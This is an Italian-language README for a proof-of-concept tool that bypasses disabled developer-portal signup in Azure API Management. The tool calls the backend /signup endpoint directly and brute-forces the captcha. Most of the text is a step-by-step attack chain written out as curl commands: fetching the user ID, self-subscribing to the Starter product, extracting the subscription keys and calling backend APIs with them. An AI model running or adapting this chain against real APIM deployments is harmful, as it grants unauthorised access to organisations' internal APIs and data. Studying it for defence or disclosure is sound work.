
Script Python per aggirare la registrazione ad Azure APIM quando l'interfaccia utente è disabilitata; a differenza della CVE-2025-66390, non richiede alcuna configurazione cross-tenant.
Uno script proof-of-concept per bypassare la registrazione disabilitata del portale per sviluppatori in Azure API Management (APIM) invocando direttamente l'API di registrazione backend.
I portali per sviluppatori di Azure APIM possono essere configurati per disabilitare la registrazione self-service tramite l'interfaccia del portale. In alcune distribuzioni, l'endpoint API sottostante (/signup) rimane attivo e raggiungibile anche quando il pulsante nell'interfaccia è nascosto o rimosso. Questo script sfrutta questa lacuna:
/v2/captcha-challenge/signup con la sfida risolta e i dettagli dell'accountTutti gli input (URL di destinazione, credenziali, proxy) vengono richiesti in modo interattivo durante l'esecuzione.
CVE-2025-66390 (CVSS 9.8 Critical) descrive un bypass della registrazione APIM cross-tenant: un attaccante abusa di un tenant in cui la registrazione è abilitata per registrare account in un tenant diverso in cui la registrazione è disabilitata, manipolando l'header Host nelle richieste API. Microsoft lo ha classificato come un problema di configurazione piuttosto che una vulnerabilità del prodotto.
Questo non richiede la creazione di alcun tenant incrociato; usa invece semplicemente l'endpoint /v2/captcha-challenge per risolvere il captcha in 75000 iterazioni (in media).
python3 apim_signup.py
Richiede URL di destinazione, dettagli dell'account, password (input nascosto, mostrato per conferma) e proxy opzionale.
Una volta che la richiesta di registrazione ha successo e arriva l'email di conferma, la catena di attacco completa è:
Fai clic sul link di conferma nell'email di registrazione. Questo attiva l'account prima che l'API di gestione lo autentichi.
Chiama l'API di gestione APIM con autenticazione Basic (base64(email:password)) per ottenere il tuo ID utente interno:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
Il campo id restituito viene utilizzato in tutte le successive chiamate all'API di gestione.
OPPURE chiama /developer/identity?api-version=2022-04-01-preview <-- la versione non ha importanza Verrà visualizzata un'interfaccia che chiederà di accedere; da lì puoi ottenere anche il tuo ID.
Il prodotto predefinito Starter viene fornito con approvalRequired: false, il che significa che non è necessaria alcuna approvazione dell'amministratore. Iscriviti automaticamente tramite PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Un'email di conferma ("La tua sottoscrizione allo Starter") arriva da [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Usa la chiave primaria come Ocp-Apim-Subscription-Key verso il gateway APIM per effettuare chiamate backend autenticate:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
L'accesso è determinato dalle API associate al prodotto Starter: in una distribuzione configurata in modo errato, questo può esporre backend interni senza ulteriore autenticazione.
Per ulteriori dettagli, questo articolo descrive molto bene la catena; basta rimuovere la parte sul cross-tenant. https://www.praetorian.com/blog/azure-apim-signup-bypass/